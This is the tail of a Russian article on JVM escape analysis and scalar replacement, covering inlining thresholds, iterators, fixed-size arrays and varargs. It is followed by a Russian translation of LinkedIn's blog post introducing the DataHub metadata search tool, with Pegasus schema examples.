Представим, что у нас есть поток исполнения в программе. Есть одна ветвь, в которой мы создали объект v1, и вторая ветвь, в которой создали объект v2. В третью переменную, v3, мы записываем ссылку либо на первый объект, либо на второй, в зависимости от того, по какому маршруту пошло выполнение. В конце мы возвращаем какое-то поле через ссылку v3. Предположим, что произошла скаляризация и поля v1.x, v1.y, v2.x, v2.y превратились в локальные переменные, допустим, v1$x, v1$y, v2$x, v2$y. А что делать со ссылкой v3? А точнее: во что должно превратиться обращение к полю v3.x?
Это вопрос. В каких-то простых примерах, как здесь, или в примере 1.4, решение интуитивно понятно: если этот код, это все, что у нас есть — то нужно просто return внести внутрь условия, будет два return-а, по одному на каждую ветку, и каждый будет возвращать свое значение. Но случаи бывают более сложные, и в итоге разработчики JVM решили, что они просто не будут оптимизировать этот сценарий, т.к. в общем случае сделать это — разобраться, поле какого объекта нужно использовать — оказалось слишком сложно (см например баг JDK-6853701, или соответствующие комментарии в исходном коде JVM).
Подводя итог этому примеру, скаляризации не будет, если:
* ссылочная переменная может указывать более чем на один объект;
* даже если такое может случиться в разных сценариях исполнения.
Если вы хотите увеличить шансы на скаляризацию, то одна ссылка должна указывать на один объект. Даже если она всегда указывает на один объект, но *в разных сценариях исполнения это могут быть разные объекты* — даже это сбивает с толку escape-анализ.
Часть 2. EqualsBuilder
----------------------
Это класс из commons.lang, идея которого состоит в том, что вы equals-ы можете генерировать таким вот образом, добавляя поля вашего класса в Builder. Честно говоря, я сам его не использую, мне просто нужен был пример какого-то Builder-а, и он попался под руку. Реальный пример обычно лучше, чем синтетический.
Конечно, было бы хорошо, если бы эта штука скаляризовалась, потому что создавать объекты на каждый вызов equals — не очень хорошая идея.
#### Пример 2.1. EqualsBuilder
Я написал простой кусок кода — только два int-а, выписанных явно (но даже если бы там были указаны поля, сути это бы не изменило).
Вполне ожидаемо, эта ситуация скаляризуется.
#### Пример 2.2. EqualsBuilder
Немного изменим пример: вместо двух int-ов поставим две строки.
В результате скаляризация не работает.
Не будем пока лезть в метод .append(...). Для начала у нас есть ключи, которые хотя бы вкратце рассказывают, что происходит в компиляторе.
Выясняется, что метод append не заинлайнился, соответственно, escape-анализ не может понять: вот эта ссылка на builder, которая ушла внутрь метода .append() как this — что там с ней происходит, внутри метода? Это неизвестно (потому что внутрь метода .append компилятор не заглядывает — JIT не делает меж-процедурную оптимизацию). Может, ее там в глобальную переменную присвоили. И в подобных ситуациях escape-анализ сдается.
Что означает диагностика «hot method too big»? Она означает, что метод — горячий, т.е. вызывался достаточно много раз, и размер его байткода больше, чем некий предел, порог инлайнинга (предел именно для частых методов). Этот предел — он задается ключом FreqInlineSize, и по-умолчанию он 325. А в диагностике мы видим 327 — то есть мы промахнулись всего на 2 байта.
Вот содержимое метода — легко поверить, что там есть 327 байт:
Как мы можем проверить нашу гипотезу? Мы можем добавить ключ FreqInlineSize, и увеличить порог инлайнинга, допустим, до 328:
В профиле компиляции мы видим, что .append() теперь инлайнится, и все отлично скаляризуется:
Уточню: когда я здесь (и далее) меняю флаги JVM, параметры JIT-компиляции, я делаю это не для того, чтобы исправить ситуацию, а чтобы проверить гипотезу. Я бы не рекомендовал играться с параметрами JIT-компиляции, поскольку они подобраны специально обученными людьми. Вы, конечно, можете попробовать, но эффект сложно предсказать — каждый такой параметр влияет не на один конкретный метод, в котором захотелось что-то скаляризовать, а на всю программу в целом.
#### Вывод 2.
* Инлайнинг — лучший друг адаптивных рантаймов
* а краткость ему очень сильно помогает.
Пишите методы покороче. В частности, в примере с .append() есть большая простыня, которая работает с массивами — пытается сделать сравнение массивов. Если ее просто вынести в отдельный метод, то все отлично инлайнится и скаляризуется (я пробовал). Это такой черный (хотя может и белый) ход для этой эвристики инлайнинга: метод в 328 байт не инлайнится, но он же, разбитый на два метода по 200 байт — отлично инлайнится, потому что каждый метод по отдельности пролезает под порогом.
Часть 3. Multi-values return
----------------------------
Рассмотрим возвращение из метода кортежа (tuple) — нескольких значений за раз.
Возьмем какой-нибудь простой объект, типа Pair, и совсем тривиальный пример: мы возвращаем пару строк, случайно выбранных из какого-то заранее заполненного пула. Чтобы компилятор вообще не выкинул этот код, я внесу некий побочный эффект: что-то с этими строками типа посчитаю, и верну результат.
Этот сценарий — скаляризуется. И это вполне рабочий пример, им можно пользоваться: если метод будет горячий и заинлайнится, такие multi-value return отлично скаляризуются.
#### Пример 3.1. value or null
Немного изменим пример: при каких-то обстоятельствах вернем null.
Как видно, аллокация останется (среднее количество байт на вызов не целое, потому что иногда возвращается null, который ничего не стоит).
#### Пример 3.2. Mixed types?
Более сложный пример: у нас есть интерфейс-Pair и 2 реализации этого интерфейса. В зависимости от искусственного условия, возвращаем либо ту реализацию, либо другую.
Здесь тоже остается аллокация:
Честно говоря, изначально я был уверен, что дело было именно в разных типах, и долго в это верил, пока не сделал следующий пример с одинаковыми типами, который также не скаляризуется.
Что здесь происходит? Ну, если мы попробуем ручками заинлайнить все методы, то увидим тот же сценарий с merge points (=ссылка может прийти двумя путями), что и в самом первом нашем эксперименте:
#### Вывод 3:
Будьте проще: меньше веток — меньше вероятность запутать escape-анализ
Пример 4. Итераторы
-------------------
Еще один частый паттерн и очень часто появляющийся промежуточный объект, создания которого хотелось бы избежать.
Вот очень простой сценарий с итерацией по коллекции. Мы создаем коллекцию один раз, мы не пересоздаем ее на каждую итерацию, но мы пересоздаем итератор: на каждом запуске метода мы бежим по коллекции итератором, считаем некий побочный эффект (просто чтобы компилятор не выкинул этот кусок).
Рассмотрим этот сценарий для разных коллекций. Допустим, сначала для ArrayList-а
#### Пример 4.1. ArrayList.iterator
Для ArrayList-а итератор действительно скаляризуется (размер SIZE здесь взят условный: как правило, это стабильно работает для широкого спектра SIZE). Для LinkedList это тоже работает. Я не буду долго перебирать все варианты — вот сводная таблица тех коллекций, что я попробовал:
В Java 8 все эти итераторы (по крайней мере в простых сценариях) скаляризуются.
Но в самом свежем апдейте Java 7 все хитрее. Давайте мы на нее пристальнее посмотрим (все знают, что 1.7 уже end of life, 1.7.0\_80 это последний апдейт, который есть).
Для LinkedList с размером 2 все хорошо:
А вот для LinkedList с размером 65 — нет.
Что происходит?
Берем волшебные ключики, и для размера 2 мы получаем такой кусок лога инлайнинга:
А для размера 65:
Ближе к началу того же лога можно найти еще вот такой дополнительный фрагмент картинки:
Происходит следующее: в самом начале метод, который мы профилируем, пошел на компиляцию — JIT поставил его в очередь. JIT работает асинхронно, т.е. у него есть очередь, туда скидываются задачи на компиляцию, а он в отдельном потоке (или даже нескольких потоках) с какой-то скоростью выгребает их из очереди, и компилирует. То есть между моментом, когда ему поставили задачу, и тем моментом, когда новый код будет оптимизирован, проходит некоторое время.
И вот наш метод `iterate()` пошел первый раз на компиляцию, в ходе которой обнаружилось, что метод `LinkedList.listIterator()` внутри него еще слишком мало выполнялся. Не наработал еще на то, чтобы его заинлайнить (`MinInliningThreshold` = 250 вызовов). Когда же, еще через некоторое время, вызов `iterate()` пошел на *перекомпиляцию* — обнаружилось, что скомпилированный (машинный) код `LinkedList.listIterator()` слишком большой.
Да, а что именно означают диагностики:
Они означают, что, оценивая размер *уже скомпилированных* методов, мы смотрим на их машинный код, а не байт-код (т.к. это более адекватная метрика). И эти две эвристики — по размеру байт-кода и машинного кода — не обязательно согласованы. Метод из всего пяти байт-кодов может вызывать несколько других методов, которые будут вклеены, и увеличат размер его машинного кода выше порогов. С этой рассогласованностью ничего нельзя сделать кардинально, только подстраивать более-менее пороги разных эвристик, ну и надеяться, что в среднем все будет более-менее хорошо.
Пороги — в частности, InlineSmallCode — отличаются в разных версиях. В 8-ке InlineSmallCode вдвое больше, поэтому в Java 8 этот сценарий отрабатывает успешно: методы инлайнятся и итератор скаляризуется — а в 7-ке нет.
В этом примере важно, что он неустойчив. Вам должно (не)повезти, чтобы задачи на компиляцию пошли в таком порядке. Если бы на момент второй перекомпиляции метод `LinkedList.listIterator()` еще не был бы скомпилирован независимо — у него еще не было бы машинного кода, и он бы прошел по критерию размера байт-кода и успешно заинлайнился бы. Именно поэтому результат и зависит от размера списка — от количества итераций внутри цикла зависит то, насколько быстро разные методы будут отправляться на компиляцию.
Мы можем проверить эту нашу гипотезу: поиграться с порогами. И действительно, при их подгонке скаляризация начинает срабатывать:
#### Вывод 4:
* JVM первой свежести лучше, чем не первой свежести;
* -XX:+PrintInlining — очень хорошая диагностика, одна из основных, позволяющих понять, что происходит при скаляризации;
* тестируйте на реальных данных — я имею в виду, что не надо тестировать на размере 2, если вы ожидаете 150. Тестируйте на 150 и вы можете увидеть отличия;
* ArrayList опять обставил LinkedList!
> Динамические рантаймы — это рулетка. JIT-компиляции свойственна недетерминированность, это неизбежно. В свежих версиях (8-ке) параметры эвристик чуть лучше согласованы друг с другом, но недетерминированности это не отменяет, просто ее сложнее поймать.
#### Пример 4.4. Arrays.asList()
Есть отдельный интересный вариант коллекции — обертка вокруг массива, Arrays.asList(). Хотелось бы, чтобы эта обертка ничего не стоила, чтобы JIT ее скаляризовал.
Я начну здесь с довольно странного сценария — сделаю из массива список, а потом по списку пойду, как будто по массиву, индексом:
Здесь все работает, создание обертки скаляризуется.
А теперь вернемся к итератору — нет же особого смысла оборачивать массив в список, чтобы потом ходить по списку, как по массиву:
Увы, даже в самой свежей версии java аллокация остается.
При этом в PrintInlining мы ничего особенного не видим.
Но если посмотреть внимательнее, то заметно, что итератор в Arrays$ArrayList не свой — его реализация унаследована целиком от AbstractList-а:
И AbstractList$Itr — это внутренний класс, не-статический внутренний класс. И вот то, что он не-статический — почему-то мешает скаляризации. Если переписать класс итератора (то есть скопировать весь класс Arrays$ArrayList к себе, и модифицировать), сделать итератор «отвязанным» — в итератор передается массив, и итератор не содержит больше ссылки на объект списка — тогда в этом сценарии будет успешно скаляризоваться как аллокация итератора, так и аллокация самой обертки Arrays$ArrayList.
Это довольно загадочный случай, и, похоже, что это [баг в JIT-е](https://bugs.openjdk.java.net/browse/JDK-8155769), но на сей день мораль такова: вложенные объекты сбивают скаляризацию с толку.
#### Пример 4.4. Collections.\*
У нас есть еще сколько-то таких вот коллекций-синглетонов, и все они, и их итераторы, успешно скаляризуются и в актуальной, и в предыдущей версиях java, кроме упомянутого выше Arrays.asList.
#### Вывод 4.4.
Вложенные объекты не очень хорошо скаляризуются.
* итерация по оберткам из Collections.\* скаляризуется
* …Кроме Arrays.asList();
* вложенные объекты не скаляризуются (в том числе inner classes);
* -XX:+PrintInlining продолжает помогать в беде.
Пример 5. Constant size arrays
------------------------------
Сразу уточню — на скаляризацию массивов переменного размера (т.е. размера, который JIT не сумеет предсказать) даже не надейтесь. Мы работаем с массивами постоянной длины.
#### Пример 5.1. Variable index
Рассмотрим такой пример: мы берем массив, туда что-то записываем по ячейкам, потом оттуда что-то вычитываем.
Для размера 1 — все нормально.
А для размера 2 — ничего не получается.
#### Пример 5.2. Constant index
Попробуем немного другой доступ: возьмем тот же размер 2 и просто напросто развернем (unroll) цикл ручками — возьмем и обратимся по явному индексу:
В этом случае, как ни странно, скаляризация сработает.
Не буду долго рассуждать — ниже приведена сводная табличка. Этот случай с развернутым вручную циклом скаляризуется вплоть до размера 64. Если есть какой-то переменный индекс, размеры 1 и 2 еще кое-как скаляризуются, дальше — нет.
Как мне кто-то в блоге написал, в «JVM для всего есть свой ключик». Этот верхний порог (-XX:EliminateAllocationArraySizeLimit = 64) также можно задавать, хотя, мне кажется, в этом нет смысла. В предельном случае будет 64 дополнительных локальных переменных, что слишком много.
#### Пример 5.3. Primitive arrays
Точно такой же код, только с массивом примитивных типов — int-ом, short-ом…
Все работает точно в тех же случаях, что и для объектов.
Почему не получается скаляризовать массив, по которому проходим циклом? Потому что непонятно, какой именно индекс скрывается за i. Если у вас есть в коде обращение типа array[2], то JIT может превратить это в локальную переменную типа array$2. А во что превратить array[i]? Нужно знать, чему именно равна i. В каких-то частных случаях, в случае коротких массивов JIT может это «угадать», в общем случае — нет.
#### Пример 5.4. Preconditions
В библиотеке guava есть такой замечательный метод, как `checkArguments(expression, errorMessageTemplate, args...)`, который проверяет выражение expression, и выбрасывает исключение с форматированным сообщением если expression == false. У него последний аргумент — vararg, и это интересный пример, как продолжение темы с массивами. И весь этот массив аргументов нам реально нужен, реально используется внутри `checkArguments` только если expressions == false, если проверка провалилась.
Здесь у меня пример, где expression генерируется случайно. И интересно: как зависит скаляризация массива vararg в этом примере от того, с какой вероятностью expression становится false?
Для начала возьмем вероятность провала — 10-7:
Здесь скаляризация не очень удается.
При уменьшении вероятности до 10-9, поначалу все, вроде, идет в хорошую сторону, но потом все-таки скаляризация отваливается.
Если же вероятность совсем маленькая, мы более-менее стабильно приходим сюда:
… к устойчивой скаляризации.
Получается, что такой паттерн — с checkArguments, или аналогичным vararg — можно использовать, можно рассчитывать на скаляризацию, но только если вы действительно ожидаете, что expression никогда не будет false. В случае с checkArguments, если expression оказывается false, то это вообще-то означает, что мы наступили на какой-то баг в своем коде. И если у нас нет багов, то, по крайней мере в горячем коде, этот false никогда не возникает, и вся эта конструкция с vararg в идеале ничего не будет нам стоить, с точки зрения аллокации.
Итог
----
* Скаляризуется многое из того, что хотелось бы (хотя здесь далеко не все примеры);
* что не скаляризуется, можно понять и простить (т.е. не всегда можно простить разработчика за это, но можно понять, почему это вышло: ментальную модель какую-то вполне реально создать, не слишком сложную); иногда исправить
* в свежих JVM скаляризация работает лучше.
Что не очень радует: скаляризация иногда хрупкая и не стабильная (особенно в несвежих JVM). Иногда все зависит от того, в каком порядке задачи пошли на компиляцию, и это конечно огорчает. Нужно понимать ограничения и всегда полезно тестировать важные сценарии. Если в критичном по перформансу коде есть расчет на какую-то скаляризацию, это обязательно нужно протестировать.
Напоследок — краткая сводка рекомендаций:
* самая свежая JVM;
* короткие методы (проверяем инлайнинг);
* меньше реального полиморфизма (вы можете оперировать интерфейсами, если реализация у него на самом деле 1; 2-3 — тоже неплохо, но, чем больше, тем сложнее);
* одна ссылка указывает на один объект;
* не использовать null — это все опять про простоту;
* не использовать вложенные объекты — это, конечно, ограничение неприятное, но с ним приходится жить;
* важные сценарии нужно тестировать.
---
Если вы дочитали до конца и вам хочется еще – в апреле мы проводим [JPoint 2017](https://jpoint.ru/) (7-8 апреля) в Москве и [JBreak 2017](https://2017.jbreak.ru/) (4 апреля) в Новосибирске. Предварительные программы обеих конференций уже готовы, много докладов опубликовано – есть на что посмотреть, поэтому рекомендую. | https://habr.com/ru/post/322348/ | null | ru | null |
# DataHub: универсальный инструмент поиска и обнаружения метаданных
DataHub: универсальный инструмент поиска и обнаружения метаданных.
Как оператор крупнейшей в мире профессиональной сети и [экономического графика](https://economicgraph.linkedin.com/#video), отдел данных LinkedIn постоянно работает над масштабированием своей инфраструктуры в соответствии с требованиями нашей постоянно растущей экосистемы больших данных. По мере роста объема и разнообразия данных специалистам по данным и инженерам становится все сложнее обнаруживать доступные активы данных, понимать их происхождение и предпринимать соответствующие действия на основе полученных данных. Чтобы помочь нам продолжить масштабировать производительность и вносить инновации в базу данных, мы создали универсальный инструмент поиска и обнаружения метаданных, DataHub.
Примечание редактора: с момента публикации этого сообщения в блоге, команда в феврале 2020 года открыла [DataHub](https://github.com/linkedin/datahub) с исходным кодом. Подробнее о том, как открыть исходный код для платформы, можно узнать [здесь](https://engineering.linkedin.com/blog/2020/open-sourcing-datahub--linkedins-metadata-search-and-discovery-p).
### Масштабирование метаданных
Чтобы повысить продуктивность группы данных LinkedIn, мы ранее разработали и открыли исходный код WhereHows — центральное хранилище метаданных и портал для наборов данных. Тип хранимых метаданных включает как технические метаданные (например, местоположение, схемы, разделы, владение), так и метаданные процесса (например, происхождение, выполнение задания). WhereHows также имеет поисковую систему, которая помогает находить интересующие вас наборы данных.
С момента нашего первого выпуска WhereHows в 2016 году, в отрасли наблюдается растущий интерес к повышению продуктивности специалистов по обработке данных с помощью метаданных. Например, инструменты, разработанные в этой области, включают [Dataportal AirBnb](https://medium.com/airbnb-engineering/democratizing-data-at-airbnb-852d76c51770), [Databook Uber](https://eng.uber.com/databook/), [Metacat Netflix](https://medium.com/netflix-techblog/metacat-making-big-data-discoverable-and-meaningful-at-netflix-56fb36a53520), [Amundsen Lyft](https://eng.lyft.com/amundsen-lyfts-data-discovery-metadata-engine-62d27254fbb9) и совсем недавно [Data Catalog](https://cloud.google.com/data-catalog/) от Google. В LinkedIn мы также были заняты расширением объема сбора метаданных для новых вариантов использования при сохранении конфиденциальности. Однако мы пришли к выводу, что у WhereHows были фундаментальные ограничения, которые не позволяли удовлетворить наши растущие потребности в метаданных. Вот то, что мы смогли узнать во время работы с масштабированием WhereHows:
1. Push лучше, чем pull: хотя получение метаданных непосредственно из источника кажется наиболее простым способом сбора метаданных. Более масштабируемым является использование отдельных поставщиков метаданных для передачи информации в центральный репозиторий через API или сообщения. Такой подход на основе push также обеспечивает более своевременное отображение новых и обновленных метаданных.
2. Общее лучше, чем конкретное: WhereHows категорически придерживается мнения о том, как должны выглядеть метаданные для набора данных или задания. Это приводит к упрямому API, модели данных и формату хранения. Небольшое изменение модели метаданных приведет к каскаду необходимых изменений вверх и вниз по стеку. Он был бы более масштабируемым, если бы мы разработали общую архитектуру, не зависящую от модели метаданных, которую она хранит и обслуживает. Это, в свою очередь, позволило бы нам сосредоточиться на адаптации и развитии строго самоуверенных моделей метаданных, не беспокоясь о нижних уровнях стека.
3. Онлайн так же важен, как и офлайн. После того, как метаданные собраны, естественно необходимо проанализировать эти метаданные, чтобы извлечь из них пользу. Одно из простых решений — сбросить все метаданные в автономную систему, такую как Hadoop, где можно выполнять произвольный анализ. Однако вскоре мы обнаружили, что одной только поддержки автономного анализа недостаточно. Есть много вариантов использования, таких как управление доступом и обработка конфиденциальности данных, для которых необходимо запрашивать последние метаданные в Интернете.
4. Взаимоотношения действительно важны. Метаданные часто передают важные взаимосвязи (например, происхождение, владение и зависимости), которые обеспечивают мощные возможности, такие как анализ воздействия, объединение данных, повышение релевантности поиска и т. д.
5. Многоцентровая вселенная: мы поняли, что недостаточно просто моделировать метаданные, сосредоточенные вокруг одного объекта (набора данных). Существует целая экосистема данных, кода и человеческих сущностей (наборы данных, специалисты по обработке данных, команды, код, API микросервисов, показатели, функции ИИ, модели ИИ, информационные панели, записные книжки и т. Д.), Которые необходимо интегрировать и связать через единый граф метаданных.
### Встречайте DataHub
Примерно год назад мы вернулись к чертежной доске и заново создали WhereHows с нуля, основываясь на этих знаниях. В то же время мы осознали растущую потребность LinkedIn в единообразном поиске и обнаружении различных объектов данных, а также в графе метаданных, которая соединяет их вместе. В результате мы решили расширить масштаб проекта, чтобы создать полностью обобщенный инструмент поиска и обнаружения метаданных, DataHub, с амбициозным видением: соединить сотрудников LinkedIn с данными, которые для них важны.
Мы разделили монолитный стек WhereHows на два отдельных стека: интерфейс модульного пользовательского интерфейса и бэкэнд общей архитектуры метаданных. Новая архитектура позволила нам быстро расширить сферу сбора метаданных, не ограничиваясь только наборами данных и заданиями. На момент написания DataHub уже хранит и индексирует десятки миллионов записей метаданных, которые охватывают 19 различных сущностей, включая наборы данных, показатели, задания, диаграммы, функции ИИ, людей и группы. Мы также планируем в ближайшем будущем внедрить метаданные для моделей и меток машинного обучения, экспериментов, информационных панелей, API микросервисов и кода.
### Модульный интерфейс
Веб-приложение DataHub — это то, как большинство пользователей взаимодействуют с метаданными. Приложение написано с использованием [Ember Framework](https://emberjs.com/) и работает на среднем уровне [Play](https://www.playframework.com/). Чтобы сделать разработку масштабируемой, мы используем различные современные веб-технологии, включая [ES9](https://en.wikipedia.org/wiki/ECMAScript#9th_Edition_-_ECMAScript_2018), [ES.Next](https://en.wikipedia.org/wiki/ECMAScript#ES.Next), [TypeScript](https://www.typescriptlang.org/), [Yarn](https://yarnpkg.com/en/) with [Yarn Workspaces](https://yarnpkg.com/lang/en/docs/workspaces), а также инструменты качества кода, такие как [Prettier](https://prettier.io/) и [ESLint](https://eslint.org/). Уровни представления, управления и данных разделены на пакеты, так что определенные представления в приложении построены на основе композиции соответствующих пакетов.
### Структура обслуживания компонентов
Применяя модульную инфраструктуру пользовательского интерфейса, мы создали веб-приложение DataHub как серию связанных компонентов, согласованных по функциям, которые сгруппированы в устанавливаемые пакеты. Эта архитектура пакета использует в основе Yarn Workspaces и надстройки Ember и разбита на компоненты с использованием компонентов и сервисов Ember. Вы можете думать об этом как о пользовательском интерфейсе, который построен с использованием небольших строительных блоков (например, компонентов и сервисов) для создания более крупных строительных блоков (например, надстроек Ember и пакетов npm / Yarn), которые при объединении в конечном итоге составляют веб-приложение DataHub .
Благодаря компонентам и службам в основе приложения, эта структура позволяет нам разделять различные аспекты и объединять другие функции в приложении. Кроме того, сегментация на каждом уровне обеспечивает очень настраиваемую архитектуру, которая позволяет потребителям масштабировать или оптимизировать свои приложения, чтобы воспользоваться преимуществами только функций или встроить новые модели метаданных, относящиеся к их области.
### Взаимодействие с DataHub
На самом высоком уровне интерфейс обеспечивает три типа взаимодействия: (1) поиск, (2) просмотр и (3) просмотр / редактирование метаданных. Вот несколько примеров скриншотов из реального приложения:
Как и в обычной поисковой системе, пользователь может искать один или несколько типов объектов, предоставляя список ключевых слов. Они могут далее нарезать и нарезать результаты, фильтруя список аспектов. Опытные пользователи также могут использовать такие операторы, как OR, NOT и регулярное выражение, для выполнения сложного поиска.
Сущности данных в DataHub могут быть организованы и просматриваться в виде дерева, где каждой сущности разрешено появляться в нескольких местах дерева. Это дает пользователям возможность просматривать один и тот же каталог разными способами, например, с помощью конфигурации физического развертывания или функциональной организации бизнеса. Может быть даже выделенная часть дерева, показывающая только «сертифицированные объекты», которые курируются в рамках отдельного процесса управления.
Последнее взаимодействие — просмотр / редактирование метаданных — также является наиболее сложным. У каждого объекта данных есть «страница профиля», на которой показаны все связанные метаданные. Например, страница профиля набора данных может содержать метаданные о его схеме, владении, соответствии, работоспособности и происхождении. Он также может показать, как объект связан с другими, например, задание, которое создало набор данных, метрики или диаграммы, которые вычисляются из этого набора данных, и т. Д. Для метаданных, которые доступны для редактирования, пользователи также могут обновлять их непосредственно через пользовательский интерфейс.
### Обобщенная архитектура метаданных
Чтобы полностью реализовать видение DataHub, нам нужна была архитектура, способная масштабироваться с помощью метаданных. Проблемы масштабируемости бывают четырех разных форм:
1. Моделирование: моделируйте все типы метаданных и отношений в удобной для разработчиков манере.
2. Прием: прием большого количества изменений метаданных в любом масштабе как через API, так и через потоки.
3. Обслуживание: обслуживайте собранные необработанные и производные метаданные, а также множество сложных запросов к метаданным в любом масштабе.
4. Индексирование: индексируйте метаданные в масштабе, а также автоматически обновляйте индексы при изменении метаданных.
### Моделирование метаданных
Проще говоря, метаданные — это «[данные, которые предоставляют информацию о других данных](https://en.wikipedia.org/wiki/Metadata)». Когда дело доходит до моделирования метаданных, это предъявляет два различных требования:
1. Метаданные — это также данные: для моделирования метаданных нам нужен язык, который по крайней мере так же многофункциональн, как те, которые используются для моделирования данных общего назначения.
2. Метаданные распределены: нереально ожидать, что все метаданные поступают из одного источника. Например, система, которая управляет списком управления доступом (ACL) набора данных, скорее всего, будет отличаться от той, которая хранит метаданные схемы. Хорошая среда моделирования должна позволять нескольким командам независимо развивать свои модели метаданных, одновременно представляя единое представление всех метаданных, связанных с объектом данных.
Вместо того, чтобы изобретать новый способ моделирования метаданных, мы решили использовать [Pegasus](https://linkedin.github.io/rest.li/DATA-Data-Schema-and-Templates), хорошо зарекомендовавший себя язык схем данных с открытым исходным кодом, созданный LinkedIn. Pegasus разработан для моделирования данных общего назначения и поэтому хорошо работает с большинством метаданных. Однако, поскольку Pegasus не предоставляет явного способа моделирования отношений или ассоциаций, мы ввели некоторые специальные расширения для поддержки этих вариантов использования.
Чтобы продемонстрировать, как использовать Pegasus для моделирования метаданных, давайте рассмотрим простой пример, проиллюстрированный следующей измененной диаграммой сущностей-отношений (ERD).
Пример содержит три типа сущностей — Пользователь, Группа и Набор данных — представленных синими кружками на диаграмме. Мы используем стрелки для обозначения трех типов отношений между этими объектами, а именно OwnedBy, HasMember и HasAdmin. Другими словами, группа состоит из одного администратора и нескольких членов пользователя, которые, в свою очередь, могут владеть одним или несколькими наборами данных.
В отличие от традиционного ERD, мы помещаем атрибуты сущности и отношения непосредственно внутри круга и под именем отношения, соответственно. Это позволяет нам присоединять к объектам новый тип компонента, известный как «аспекты метаданных». Разные команды могут владеть и развивать различные аспекты метаданных для одного и того же объекта, не мешая друг другу, таким образом выполняя требование моделирования распределенных метаданных. Три типа аспектов метаданных: владение, профиль и членство включены в приведенный выше пример в виде зеленых прямоугольников. Связь аспекта метаданных с сущностью обозначается пунктирной линией. Например, профиль может быть связан с пользователем, а владение может быть связано с набором данных и т. д.
Вы, возможно, заметили, что есть совпадения между атрибутами сущности и отношения с аспектами метаданных, например, атрибут firstName пользователя должен быть таким же, как поле firstName связанного профиля. Причина такой повторяющейся информации будет объяснена в более поздней части этой публикации, но пока достаточно рассматривать атрибуты как «интересную часть» аспектов метаданных.
Чтобы смоделировать пример в Pegasus, мы переведем каждую из сущностей, отношений и аспектов метаданных в отдельный файл схемы Pegasus (PDSC). Для краткости мы включим сюда только по одной модели из каждой категории. Во-первых, давайте взглянем на PDSC для объекта User:
```
{
"type": "record",
"name": "User",
"fields": [
{
"name": "urn",
"type": "com.linkedin.common.UserUrn",
},
{
"name": "firstName",
"type": "string",
"optional": true
},
{
"name": "lastName",
"type": "string",
"optional": true
},
{
"name": "ldap",
"type": "com.linkedin.common.LDAP",
"optional": true
}
]
}
```
Каждая сущность должна иметь глобально уникальный идентификатор в форме URN, который можно рассматривать как типизированный GUID. Сущность User имеет атрибуты, включая имя, фамилию и LDAP, каждое из которых соответствует необязательному полю в записи пользователя.
Далее следует модель PDSC для отношения OwnedBy:
```
{
"type": "record",
"name": "OwnedBy",
"fields": [
{
"name": "source",
"type": "com.linkedin.common.Urn",
},
{
"name": "destination",
"type": "com.linkedin.common.Urn",
},
{
"name": "type",
"type": "com.linkedin.common.OwnershipType",
}
],
"pairings": [
{
"source": "com.linkedin.common.urn.DatasetUrn",
"destination": "com.linkedin.common.urn.UserUrn"
}
]
}
```
Каждая модель отношений, естественно, содержит поля «источник» и «место назначения», которые указывают на конкретные экземпляры сущности с использованием их URN. Модель может дополнительно содержать другие поля атрибутов, например, в данном случае «тип». Здесь мы также вводим настраиваемое свойство, называемое «пары», чтобы ограничить отношения конкретными парами исходных и целевых типов URN. В этом случае отношение OwnedBy может использоваться только для подключения набора данных к пользователю.
Наконец, ниже вы найдете модель аспекта метаданных владения. Здесь мы решили смоделировать владение как массив записей, содержащих поля type и ldap. Однако при моделировании аспекта метаданных практически нет ограничений, если это действительная запись PDSC. Это позволяет удовлетворить требование «метаданные — это также данные», сформулированное ранее.
```
{
"type": "record",
"name": "Ownership",
"fields": [
{
"name": "owners",
"type": {
"type": "array",
"items": {
"name": "owner",
"type": "record",
"fields": [
{
"name": "type",
"type": "com.linkedin.common.OwnershipType"
},
{
"name": "ldap",
"type": "string"
}
]
}
}
}
]
}
```
После того, как все модели созданы, возникает следующий логический вопрос: как связать их вместе, чтобы сформировать предлагаемый ERD. Мы отложим это обсуждение до раздела «Индексирование метаданных» в более поздней части этого сообщения.
### Получение метаданных
DataHub предоставляет две формы приема метаданных: либо через прямые вызовы API, либо через поток [Kafka](https://kafka.apache.org/). Первый предназначен для изменений метаданных, которые требуют согласованности чтения после записи, тогда как второй больше подходит для обновлений, ориентированных на факты.
API DataHub основан на [Rest.li](https://engineering.linkedin.com/architecture/restli-restful-service-architecture-scale), масштабируемой строго типизированной сервисной архитектуре RESTful, широко используемой в LinkedIn. Поскольку Rest.li использует Pegasus в качестве определения интерфейса, все модели метаданных, определенные в предыдущем разделе, могут использоваться дословно. Прошли те времена, когда требовалось преобразование нескольких уровней моделей от API до хранилища — API и модели всегда будут синхронизироваться.
Ожидается, что для приема на основе Kafka производители метаданных будут генерировать стандартизированное событие изменения метаданных (MCE), которое содержит список предлагаемых изменений конкретных аспектов метаданных, введенных с помощью соответствующего URN объекта. Схема для MCE находится в [Apache Avro](https://avro.apache.org/), но автоматически создается из моделей метаданных Pegasus.
Использование одной и той же модели метаданных для схем событий API и Kafka позволяет нам легко развивать модели без кропотливого обслуживания соответствующей логики преобразования. Однако, чтобы добиться истинной непрерывной эволюции схемы, нам нужно ограничить все изменения схемы, чтобы они всегда были обратно совместимы. Это применяется во время сборки с дополнительной [проверкой совместимости](https://github.com/linkedin/rest.li/wiki/Snapshots-and-Resource-Compatibility-Checking).
В LinkedIn мы склонны больше полагаться на поток Kafka из-за слабой связи, которую он обеспечивает между производителями и потребителями. Ежедневно мы получаем миллионы MCE от различных производителей, и ожидается, что их объем будет расти экспоненциально только по мере того, как мы расширяем объем нашей коллекции метаданных. Чтобы построить конвейер приема потоковых метаданных, мы использовали [Apache Samza](https://engineering.linkedin.com/blog/2018/11/samza-1-0--stream-processing-at-massive-scale) в качестве нашей платформы обработки потоковой информации. Задание Samza приема специально разработано, чтобы быть быстрым и простым для достижения высокой пропускной способности. Он просто преобразует данные Avro обратно в Pegasus и вызывает соответствующий API Rest.li для завершения приема.
### Обслуживание метаданных
После того, как метаданные были получены и сохранены, важно эффективно обслуживать необработанные и производные метаданные. DataHub поддерживает четыре типа часто встречающихся запросов к большому количеству метаданных:
1. Документно-ориентированные запросы
2. Графические запросы
3. Сложные запросы, включающие соединения
4. Полнотекстовый поиск
